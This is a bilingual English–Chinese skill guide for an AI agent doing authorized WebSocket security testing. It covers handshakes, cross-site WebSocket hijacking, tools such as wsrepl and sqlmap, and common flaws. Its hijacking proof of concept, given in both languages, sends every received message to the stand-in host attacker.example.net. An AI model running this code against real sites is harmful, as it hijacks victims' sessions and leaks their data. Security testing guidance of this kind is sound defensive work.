websocket-security
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: WebSocket Security
技能:WebSocket安全
AI LOAD INSTRUCTION: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in authorized tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load api-sec when present in the workspace.
AI加载说明:本技能涵盖WebSocket协议基础、跨站WebSocket劫持(CSWSH)、实用工具对接方法以及常见漏洞类别。仅可在授权测试中使用;令牌和消息内容属于敏感信息请妥善处理。如需配套测试REST/GraphQL,当工作区存在**api-sec**时可交叉加载该技能。
0. QUICK START
0. 快速开始
During proxy or raw traffic review, watch for:
http
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocolServer success response indicators:
http
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=中文路由提示:在 Burp/浏览器 DevTools 里筛 与 ;深度 API 测试从 技能对齐认证与授权模型。
101Upgrade: websocketapi-sec在审查代理或原始流量时,留意以下特征:
http
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol服务器成功响应的标识:
http
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=中文路由提示:在 Burp/浏览器 DevTools 里筛 与 ;深度 API 测试从 技能对齐认证与授权模型。
101Upgrade: websocketapi-sec1. PROTOCOL BASICS
1. 协议基础
Client request (typical)
客户端请求(典型场景)
- and
Upgrade: websocket— required upgrade handshake.Connection: Upgrade - — base64 nonce; server hashes with magic GUID and responds with
Sec-WebSocket-Key.Sec-WebSocket-Accept - — current standard version for browser interoperability.
Sec-WebSocket-Version: 13
- 和
Upgrade: websocket—— 升级握手的必需字段。Connection: Upgrade - —— base64格式的随机数;服务器会使用固定GUID对其进行哈希,随后通过
Sec-WebSocket-Key字段返回结果。Sec-WebSocket-Accept - —— 目前兼容浏览器的标准版本。
Sec-WebSocket-Version: 13
Server response
服务器响应
- — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.
HTTP/1.1 101 Switching Protocols
Minimal conceptual flow:
text
Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close- —— 握手完成;后续传输的帧均为符合RFC标准的WebSocket二进制/文本帧。
HTTP/1.1 101 Switching Protocols
最简概念流程:
text
Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)
2. 跨站WebSocket劫持(CSWSH)
Condition
触发条件
- The server does not validate (or equivalent binding) on the WebSocket handshake, and
Origin - The victim has an active session (cookie-based or browser-stored creds) to the target site.
Then a malicious page loaded in the victim’s browser may open a WebSocket as the victim, similar in spirit to CSRF but for a persistent bidirectional channel.
- 服务器在WebSocket握手阶段未校验(或等效的绑定机制),且
Origin - 受害者在目标站点存在有效会话(基于Cookie或浏览器存储的凭证)。
此时受害者浏览器加载的恶意页面可以伪装成受害者身份建立WebSocket连接,本质类似CSRF,但针对的是持久化双向通道。
Proof-of-concept pattern (laboratory / authorized target only)
验证代码模板(仅可用于实验室/授权测试目标)
javascript
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};Testing notes: Confirm whether is checked, whether cookies are sent ( rules), and whether subprotocol or custom headers are required—missing checks increase CSWSH risk.
OriginSameSitejavascript
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};测试注意事项:确认是否校验**、是否会发送Cookie**(受规则约束)、是否要求子协议或自定义请求头——缺失相关校验会提升CSWSH风险。
OriginSameSite3. TESTING WITH TOOLS
3. 工具测试方法
wsrepl
wsrepl
bash
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.pyUse a plugin to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.
bash
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py使用插件在WebSocket生命周期中复现浏览器Cookie、请求头或令牌刷新逻辑。
ws-harness (bridge to HTTP for other tools)
ws-harness(将WebSocket桥接为HTTP供其他工具使用)
bash
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txtExample downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):
bash
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batchbash
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt通过桥接的HTTP层使用SQL注入工具的下游使用示例(将URL调整为本地监听器地址):
bash
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batchBurp Suite ecosystem
Burp Suite生态工具
- SocketSleuth — inspect and manipulate WebSocket traffic inside Burp.
- WebSocket Turbo Intruder — high-rate or scripted message fuzzing.
- SocketSleuth —— 在Burp内部检查和修改WebSocket流量。
- WebSocket Turbo Intruder —— 实现高速或脚本化的消息模糊测试。
4. COMMON VULNERABILITIES
4. 常见漏洞
| Issue | Why it matters |
|---|---|
Missing | Enables CSWSH from attacker-controlled pages |
Auth token in URL ( | Logs, proxies, Referer leakage, browser history |
| No rate limiting on messages | Abuse, brute force, DoS |
| Cleartext on the wire (MITM) |
| Injection in message bodies | SQLi, command injection, or XSS if content is stored/reflected elsewhere |
Example sensitive URL anti-pattern:
text
wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...Prefer Sec-WebSocket-Protocol, first-message auth, or cookie + CSRF token patterns aligned with product constraints.
| 问题 | 影响 |
|---|---|
缺失 | 允许攻击者控制的页面发起CSWSH攻击 |
认证令牌放在URL中( | 存在日志、代理、Referer泄露、浏览器历史记录泄露风险 |
| 消息无速率限制 | 可被滥用、暴力破解、发起DoS攻击 |
使用** | 传输内容明文可见,易被中间人攻击(MITM) |
| 消息体存在注入风险 | 如果内容会被存储/反射到其他位置,可能引发SQLi、命令注入或XSS |
敏感URL反模式示例:
text
wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...优先选择符合产品约束的Sec-WebSocket-Protocol、首消息认证或Cookie + CSRF令牌方案。
5. DECISION TREE
5. 决策树
- Identify endpoint — From JS bundles, Swagger, or responses; note
101vswss.ws - Handshake review — Are , Host, and Cookie policies correct? Any token in query string?
Origin - Session binding — Reconnect with another user’s cookie jar in Burp; compare subscription topics and data leakage.
- CSWSH — Load a local HTML page that connects to the target with victim session active; verify server rejects wrong Origin or uses non-cookie secret.
- Message semantics — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
- Transport — Flag in production; verify TLS and HSTS alignment.
ws://
- 识别端点 —— 从JS包、Swagger文档或响应中查找;留意是
101还是wss协议。ws - 握手校验 —— 、Host和Cookie策略是否正确?查询字符串中是否包含令牌?
Origin - 会话绑定校验 —— 在Burp中使用其他用户的Cookie jar重连;对比订阅主题和数据泄露情况。
- CSWSH测试 —— 加载一个本地HTML页面,在受害者会话激活的状态下连接目标;验证服务器是否拒绝错误的Origin请求,或是否使用了非Cookie的密钥校验。
- 消息语义测试 —— 对JSON/文本payload进行模糊测试排查注入风险;采用和HTTP API测试相同的逻辑。
- 传输层校验 —— 标记生产环境使用****的情况;验证TLS和HSTS配置是否符合要求。
ws://
6. RELATED ROUTING
6. 相关关联
- From api-sec — authentication, authorization, IDOR, and rate limiting often mirror HTTP APIs behind the same WebSocket routes.
中文:WebSocket 常与 REST 共用会话与权限模型;从 对齐同一后端的认证与资源边界。
api-sec- 关联**api-sec** —— 同一WebSocket路由背后的认证、授权、IDOR和速率限制逻辑通常与HTTP API一致。
中文:WebSocket 常与 REST 共用会话与权限模型;从 对齐同一后端的认证与资源边界。
api-sec